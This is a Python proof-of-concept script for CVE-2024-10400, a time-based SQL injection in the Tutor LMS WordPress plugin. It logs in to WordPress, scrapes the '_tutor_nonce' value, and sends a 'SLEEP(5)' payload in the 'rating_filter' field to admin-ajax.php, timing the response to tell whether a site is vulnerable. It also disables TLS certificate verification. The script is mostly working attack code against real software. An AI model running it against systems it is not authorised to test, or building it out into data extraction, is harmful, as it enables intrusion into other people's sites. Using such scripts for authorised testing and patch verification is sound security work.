import requests import urllib3 from urllib.parse import urljoin import argparse import ssl import re import time ssl._create_default_https_context = ssl._create_unverified_context urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def read_file(file_path): with open(file_path, 'r') as file: return file.read().splitlines() def login_to_wordpress(url, username, password): login_url = urljoin(url, "/wp-login.php") headers = { "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.3 Safari/605.1.15", "Content-Type": "application/x-www-form-urlencoded" } data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": urljoin(url, "/wp-admin/profile.php"), "testcookie": "1" } try: session = requests.Session() response = session.post(login_url, headers=headers, data=data, verify=False, timeout=15) if "Dashboard" in response.text or "profile.php" in response.text: print(f"\033[32mSuccessfully logged in as {username}\033[0m") return session else: print(f"\033[31mFailed to log in as {username}\033[0m") return None except requests.RequestException as e: print(f"Error logging in to {url}: {e}") return None def extract_nonce(session, url): try: response = session.get(url, verify=False, timeout=15) # Look for the nonce in the page source match = re.search(r'"_tutor_nonce":"(\w+)"', response.text) if match: return match.group(1) else: print(f"\033[31mNonce not found in the response from {url}\033[0m") except requests.RequestException as e: print(f"Error fetching nonce from {url}: {e}") return None def check_sql_injection(url, username, password): target_url = url.rstrip("/") # Fetch the nonce from the course page or dashboard (where Tutor LMS actions are performed) target_url_for_nonce = urljoin(target_url, "/dashboard/") # Adjust this URL as needed target_endpoint = urljoin(target_url, "/wp-admin/admin-ajax.php") # Log in to WordPress session = login_to_wordpress(target_url, username, password) if not session: return False # Fetch a fresh nonce tutor_nonce = extract_nonce(session, target_url_for_nonce) if not tutor_nonce: print(f"\033[31mFailed to fetch tutor_nonce from {target_url_for_nonce}\033[0m") return False print(f"\033[32mFound_tutor_nonce: {tutor_nonce}\033[0m") try: # Time-based SQL injection payload payloads = { "action": "load_filtered_instructor", "_tutor_nonce": tutor_nonce, "rating_filter": "1' AND SLEEP(5)-- -" } # Measure the response time start_time = time.time() response = session.post(target_endpoint, verify=False, timeout=15, data=payloads) end_time = time.time() # Calculate the elapsed time elapsed_time = end_time - start_time print(f"\033[34mResponse time: {elapsed_time:.2f} seconds\033[0m") # Confirm vulnerability if the response time is greater than 5 seconds if elapsed_time >= 5: print(f"\033[31mFind: {url}: WordPress_CVE-2024-10400_sql_Injection!\033[0m") return True else: print(f"\033[31mNo SQL injection vulnerability found at {url}\033[0m") except requests.RequestException as e: print(f"Error checking {url}: {e}") return False def main(): parser = argparse.ArgumentParser(description="Check for SQL injection vulnerabilities.") parser.add_argument("-u", "--url", help="Target URL", required=True) parser.add_argument("-user", "--username", help="WordPress username", required=True) parser.add_argument("-pwd", "--password", help="WordPress password", required=True) args = parser.parse_args() check_sql_injection(args.url, args.username, args.password) if __name__ == "__main__": main()